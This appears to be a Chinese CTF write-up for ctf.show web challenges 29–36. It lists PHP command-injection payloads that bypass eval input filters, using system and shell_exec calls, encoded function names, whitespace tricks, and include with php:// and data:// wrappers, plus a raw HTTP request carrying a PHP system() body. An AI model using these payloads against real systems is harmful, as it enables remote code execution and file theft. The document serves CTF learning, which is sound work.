-
web29
eval了GET的参数,没过滤就system执行,但是匹配到大小写的flag就不执行。①直接执行系统命令
?c=system(“tac fla*”);
?c=system(“cp flg.php a.txt ");
?c=passthru("cat fl”);
?c=echo shell_exec(“tac fl*”);
?c=echo exec(“cat fl*”);
?c=highlight_file(next(array_reverse(scandir(“.”))));②内敛执行
?c=echocat fl*
;
?c=echocat fl??.?hp
;③利用参数输入+eval
?c=eval($_GET[1]);&1=system(‘tac fla*’);④利用参数输入+include+伪协议(不用括号、分号)
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php -
web30
过滤了php、flag、system
补充打印文件命令?c=echo%20nl%20fl%27%27ag.p%27%27hp
; -
web31
preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
其他的过滤了无所谓,但过滤了.和空格①其实就是highlight_file(flag.php);的url编码,适用php7
?c=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F);②通过嵌套eval函数来获取另一个参数的的方法来绕过,不会判断其他参数的传入
?c=eval($_GET[a]);&a=system(‘cat flag.php’);③用函数绕
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(scandir(getcwd())[2]);localeconv():返回包含本地化数字和货币格式信息的关联数组,这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针
scandir():遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
getcwd():获取当前工作目录④绕空格
?c=passthru(“tac%09fla*”);
?c=passthru(“tac${IFS}$9fla*”);
中间拼接用%09
${IFS}$9替换, 不行就在第一个$转义试试 -
web33
多过滤了; 命令执行构造包含然后伪协议不用分号
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- web34
相比上题多过滤了冒号。
同上,秒了
- web35
多了=和<,意思就是不让?>绕分号嘛,但是还是可以构造include秒了,试试POST方法的,需要伪协议input执行该POST请求。
GET /?c=include$_GET[1]?>&1=php://input HTTP/1.1
Host: 8885362a-8593-4c47-8a66-49fc4ab85f9f.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 31
<?php system('tac flag.php');?>
- web36
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system("tac fla*");?>